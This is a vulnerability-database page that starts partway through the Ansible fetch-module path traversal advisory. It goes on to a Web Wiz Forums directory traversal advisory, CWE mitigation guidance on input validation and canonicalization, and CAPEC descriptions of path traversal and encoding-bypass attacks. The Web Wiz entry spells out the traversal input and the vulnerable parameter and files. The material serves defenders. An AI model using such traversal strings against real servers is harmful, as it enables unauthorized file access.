"github_reviewed": true,
"github_reviewed_at": "2021-04-05T17:54:51Z",
"nvd_published_at": "2020-03-16T16:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.",
"id": "GHSA-gfr2-qpxh-qj9m",
"modified": "2024-09-09T21:18:37Z",
"published": "2021-04-07T20:35:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1735"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/issues/67793"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/pull/69023"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/pull/69024"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/pull/69025"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/18f91bbb88a84b1d3614ef41c3550da735592ac1"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/40969ff43812fabf5397f818d9e521f9b39c9c9a"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/de9a4f5474c5f5db442ae7493d6b5da7177e335d"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202006-11"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-7.yaml"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-7"
},
{
"type": "PACKAGE",
"url": "https://github.com/ansible/ansible"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-gfr2-qpxh-qj9m"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1735"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Path Traversal in Ansible"
}
GHSA-GFR7-VJM7-2H33
Vulnerability from github – Published: 2022-05-01 23:30 – Updated: 2022-05-01 23:30Multiple directory traversal vulnerabilities in Web Wiz Forums 9.07 and earlier allow remote attackers to list arbitrary directories, and .txt and .zip files, via a .....\\ in the sub parameter to (1) RTE_file_browser.asp or (2) file_browser.asp.
{
"affected": [],
"aliases": [
"CVE-2008-0480"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-29T20:00:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in Web Wiz Forums 9.07 and earlier allow remote attackers to list arbitrary directories, and .txt and .zip files, via a .....\\\\\\ in the sub parameter to (1) RTE_file_browser.asp or (2) file_browser.asp.",
"id": "GHSA-gfr7-vjm7-2h33",
"modified": "2022-05-01T23:30:36Z",
"published": "2022-05-01T23:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0480"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39856"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4970"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28601"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3589"
},
{
"type": "WEB",
"url": "http://www.bugreport.ir/?/29"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/486866/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27419"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019266"
},
{
"type": "WEB",
"url": "http://www.webwizguide.com/webwizforums/kb/release_notes.asp"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.